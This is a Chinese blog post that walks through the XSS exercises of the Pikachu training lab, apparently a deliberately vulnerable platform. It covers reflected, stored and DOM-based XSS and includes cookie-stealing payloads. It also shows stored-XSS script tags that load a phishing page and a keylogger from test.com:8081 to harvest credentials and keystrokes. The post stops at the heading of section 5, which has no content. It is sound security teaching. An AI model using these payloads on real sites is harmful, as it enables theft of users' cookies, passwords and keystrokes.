首页 > 其他 > 详细

Pikachu XSS

时间:2019-12-18 10:27:19      阅读:69      评论:0      收藏:0      [点我收藏+]

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

    1.反射性XSS;

    2.存储型XSS;

    3.DOM型XSS;

 

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

  1. 反射型xss(get)

 技术分享图片

题目确定为get传参

尝试将参数替换成js代码<script>alert(document.cookie)</script>

 技术分享图片

弹窗成功。可以发现这里没有设置过滤,直接获得cookie

 

  2.反射型xss(post)

使用admin用户登陆后发现输入框,再次输入rose,发现url无变化,为post传参

 技术分享图片

直接在输入框里输入js代码:

 技术分享图片

直接拿到cookie,此处仍然没有设置过滤。后台即可设置并获得cookie。

  3.存储型xss

依旧以js代码<script>alert(document.cookie)</script>测试

 技术分享图片

成功弹窗且在留言板下方出现删除按钮

 技术分享图片

确定其为存储型xss

接下来就可以构造payload进行钓鱼

Payload:

<script src="http://test.com:8081/pikachu-master/pkxss/xfish/fish.php"></srcipt>

接着修改fish.php设置好路径、

 技术分享图片

在输入框内输入payload后效果如下:

 技术分享图片

输入用户名rose,密码123456后即可在后台看到结果。

 技术分享图片

接着还可以尝试获取键盘记录:

pikachu平台有一个构造好的js文件和php文件,引用该script脚本会记录键盘记录,但要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。

 技术分享图片

接着修改js文件中如下代码:

技术分享图片

构造payload:

<script src="http://test.com:8081/pikachu-master/pkxss/rkeypress/rk.js"></srcipt>

查看网页发现rk.js确实已经在运行

 技术分享图片

接着在留言板出键入:

I am rose

 技术分享图片

后台即收到记录

技术分享图片

 

 

  4.dom型XSS

按F12审查网站,寻找click me对应的函数:

 技术分享图片

在框里输入rose

 技术分享图片

发现网页源码中出现一条标签:

 技术分享图片

根据网页中源码的提示:

 技术分享图片

尝试构造payload:

‘><img src="#" onclick="alert(document.cookie)">

输入后,点击图片即可弹出cookie

 技术分享图片

  5.dom型xss-x

Pikachu XSS

原文:https://www.cnblogs.com/P201721440017/p/12058222.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!